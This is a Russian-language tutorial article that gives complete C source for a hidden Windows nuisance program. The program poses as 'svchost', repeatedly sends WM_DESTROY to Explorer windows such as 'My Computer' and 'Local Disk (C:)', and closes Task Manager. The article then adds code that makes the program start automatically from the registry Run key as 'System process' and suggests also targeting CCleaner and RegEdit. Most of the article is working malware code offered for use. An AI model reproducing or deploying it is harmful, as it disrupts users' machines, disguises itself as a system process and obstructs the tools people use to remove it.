Главная » Статьи » Статьи | [ Добавить статью ] |
Простой пример "плохой" программы
Начну с того, что программы могут обмениваться сообщениями. То есть, нажав на кнопку в одной, можно вывести текст в другой. Но это касается не только текста и графики. Сообщение передаётся не таким типом, как "Найти процесс ТАКОЙ_ТО и сделай то то конкретно", а так, сначала программа находит другую программу либо по дескриптору, либо, если он не известен, по заголовку окна. После нахождения программой другого окна, можно передать обычное сообщение PostMessage, в котором указывается на ту команду оконной процедуры, которую необходимо выполнить. Например WM_PAINT. Предположительно, почти любой (ибо я не проверял) программе можно послать сообщение о её закрытии, путём передачи команды WM_DESTROY. Я решил проверить этот способ, и запустил программу Finale 2010. Она была запущена, и одновременно была открыта папка где она лежала. Заголовок папки тоже был как и в программе "Finale 2010". Но после тестирования, программа не закрылась. И к своему ужасу я увидел, как папка Finale 2010 стала пустой. Я удивился, как всё смогло удалиться, если программа работает. Оказывается, папка получила сообщение WM_DESTROY, но не закрылась. Может быть это Баг, может глюк Windows. Открыл эту папку в новом окне, и все файлы были на месте. Эта ситуация натолкнула меня на создание вредной программы, которая посылает WM_DESTROY указанным папкам. Нам нужно создать пустой проект Win32 Во вкладке Application Settings ставим галочку на Empty project. То есть - пустой проект. В свойствах проекта нужно указать Character Set как Use Multy-Byte Character Set Можно писать и с Unicode Character Set, но только нужно будет указывать в некоторым местах дополнительные символы. Код #include <Windows.h> int InitApp(HINSTANCE a1); HWND hWnd, hWnd2, hWnd3; #define TIMER_SECOND 1 Указываем заголовочный файл, прототип функции инициализации окна, дескрипторы окон, и макрос, указывающий время периода в секундах, по истечении которого программа отсылает сообщение о закрытии окна. Код int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hinst, PSTR str, int OknIcon) { MSG msg; if(InitApp(hInst)) return 0; while(GetMessage((LPMSG)&msg,NULL,0,0)) { DispatchMessage((LPMSG)&msg); TranslateMessage(&msg); } return msg.wParam; } Стандартная WinMain функция. Код LRESULT APIENTRY InputWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { Начало кода оконной функции. Код SetTimer( hWnd, TIMER_SECOND, 1000, NULL ); Устанавливаем таймер. Код switch(message) { case WM_DESTROY: PostQuitMessage(0); return 0; Обработка сообщений. Команда WM_DESTROY как бы означает нажатие на красный крестик. В нашем случае окно не будет отображаться, и данный case по сути будет лишним. Код case WM_TIMER: switch (wParam) { case TIMER_SECOND: hWnd2 = FindWindow(0,"Мой компьютер"); hWnd3 = FindWindow(0,"Локальный диск (C:)"); if(hWnd2){ PostMessage(hWnd2,WM_DESTROY,(WPARAM)hWnd,0);} if(hWnd3){ PostMessage(hWnd3,WM_DESTROY,(WPARAM)hWnd,0);} break; } default: return DefWindowProc(hWnd, message,wParam, lParam); } return 0; } Теперь обработка сообщения, в случае если оно поступило от таймера. Когда отсчитает 1 секунда, выполниться case TIMER_SECOND: Это сделано специально чтобы нельзя было открыть Мой компьютер в нескольких окнах - они все будут неработоспособными. В дескриптор hWnd2 и hWnd3 мы вносим дескрипторы окон, имеющие соответствующие заголовки. Далее по условию, окну с указанным дескриптором посылается сообщение о закрытии программы. Код int InitApp(HINSTANCE hInst) { LPCTSTR Name = "svchost"; WNDCLASS wc; wc.hInstance = hInst; wc.hCursor = LoadCursor(NULL, IDC_CROSS); wc.hIcon = LoadIcon(NULL, IDI_ASTERISK); wc.lpszMenuName = NULL; wc.lpszClassName = Name; wc.hbrBackground = NULL; wc.style = CS_VREDRAW | CS_HREDRAW; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.lpfnWndProc = InputWndProc; ATOM WNDClass= RegisterClass(&wc); if(!WNDClass) return 1; hWnd = CreateWindow(Name, NULL, NULL, 0, 0, 80, 10, NULL, NULL, hInst, NULL); if(!hWnd) return 2; return 0; } Стандартная функция инициализации окна. Окно у нас не отображается, процесс можно увидеть только в Диспетчере задач. Это всё. Достаточно для головной боли неопытного пользователя. Можно ужесточить ситуацию, указав больше названий окон, программ. Можно добавить программу в автозагрузку, вставив код Код TCHAR szPath[MAX_PATH]; HKEY newValue; GetModuleFileName(NULL,szPath,MAX_PATH); RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue); RegSetValueEx(newValue,"System process",0,REG_SZ,(LPBYTE)szPath,sizeof(szPath)); RegCloseKey(newValue); в оконную процедуру, выше SetTimer. Приложение будет запускаться каждый раз, и будет висеть с названием svchost.exe Однако знающие увидят, что оно запущено от имени администратора, и её можно закрыть без сбоя системы. Так же можно сделать чтобы диспетчер задач закрывался как и остальные окна. Для этого, в глобальных переменных определяем ещё один дескриптор hWnd4, и вставляем код в case TIMER_SECOND: Код hWnd4 = FindWindow(0,"Диспетчер задач Windows"); if(hWnd4){ PostMessage(hWnd4,WM_DESTROY,(WPARAM)hWnd,0);} Запустите Ccleaner и найдите в автозагрузке наш процесс. Можно попробовать закрыть и Ccleaner, и RegEdit... Конечно, можно сделать более вредную программу используя другие алгоритмы. Но я только учусь, только осваиваю сообщения и всё. Но и этих знаний достаточно. Тестировал на Windows XP. Будьте осторожны, и лучше изучите предназначения процессов, отображённых диспетчере задач! Пример работы: | |
Просмотров: 946 | | |
Всего комментариев: 0 | |